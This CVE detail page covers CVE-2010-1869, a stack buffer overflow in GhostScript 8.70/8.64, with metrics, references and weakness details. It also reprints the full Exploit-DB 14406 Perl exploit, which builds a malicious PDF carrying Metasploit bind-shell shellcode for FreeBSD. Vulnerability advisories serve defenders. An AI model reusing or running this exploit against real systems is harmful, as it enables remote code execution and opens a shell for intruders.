CVE-2010-1869 : Detail

CVE-2010-1869

Overflow
0.54%V3
Network
2010-05-11
22h00 +00:00
2018-10-10
16h57 +00:00
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CVE Descriptions

Stack-based buffer overflow in the parser function in GhostScript 8.70 and 8.64 allows context-dependent attackers to execute arbitrary code via a crafted PostScript file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 14406

Publication date : 2010-07-17 22h00 +00:00
Author : Rodrigo Rubira Branco
EDB Verified : Yes

########################################################################## # Check Point Software Technologies - Vulnerability Discovery Team (VDT) # # Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com> # # # # GhostScript Stack Overflow # # # ########################################################################## # bsd/x86/shell_bind_tcp - 214 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # AppendExit=false, PrependSetresuid=false, # PrependSetuid=false, LPORT=4444, RHOST=, # PrependSetreuid=false my $buf = "\x54\x5a\xda\xd1\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" . "\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" . "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" . "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" . "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x50\x31\x49\x50" . "\x46\x30\x45\x38\x4b\x4f\x44\x42\x42\x31\x51\x4c\x4d\x59" . "\x4b\x57\x50\x50\x43\x5a\x45\x51\x42\x4a\x44\x42\x42\x4a" . "\x44\x50\x4e\x50\x45\x31\x48\x4d\x4b\x30\x51\x47\x46\x30" . "\x46\x30\x43\x5a\x45\x38\x51\x48\x48\x4d\x4b\x30\x4d\x59" . "\x51\x57\x4a\x4c\x48\x30\x43\x5a\x48\x4d\x4d\x50\x4e\x50" . "\x45\x4e\x48\x4d\x4d\x50\x50\x50\x50\x50\x43\x5a\x51\x4a" . "\x50\x58\x48\x4d\x4d\x50\x4b\x4f\x50\x4f\x4a\x44\x43\x49" . "\x4b\x46\x46\x30\x42\x48\x46\x4f\x46\x4f\x44\x33\x42\x48" . "\x43\x58\x46\x4f\x43\x52\x45\x39\x42\x4e\x4b\x39\x4b\x53" . "\x46\x30\x46\x34\x50\x53\x50\x50\x48\x30\x47\x4b\x48\x4d" . "\x4d\x50\x41\x41"; $pkt = "e!PS". "A" x 500 . "00001111222233334444555556666777788889999aaa". "\x40\xd9\xbf\xbf". #Shellcode Addr "bccccddd". "\xef\xbe\xbf\xbf". "ffff". "\xff\xbf" x 100 . "C" x (1200 - length($buf)) . $buf . "Z" x 100; print STDERR "Check Point Vulnerability Discovery Team (VDT)\n"; print STDERR "GhostScript 8.70 exploit for FreeBSD 8.0!\n"; print STDERR "Rodrigo Rubira Branco (BSDaemon)\n"; print STDERR "\nCreating evil pdf ..."; open(F,">crash.pdf"); print F $pkt; close(F); print STDERR " d0ne!\n"; print "Now print it via cupsd!\n";

Products Mentioned

Configuraton 0

Artifex>>Gpl_ghostscript >> Version 8.64

Artifex>>Gpl_ghostscript >> Version 8.70

References

http://www.vupen.com/english/advisories/2010/1195
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/39753
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/1138
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2010:102
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.ubuntu.com/usn/USN-961-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securityfocus.com/bid/40103
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id?1024003
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/40580
Tags : third-party-advisory, x_refsource_SECUNIA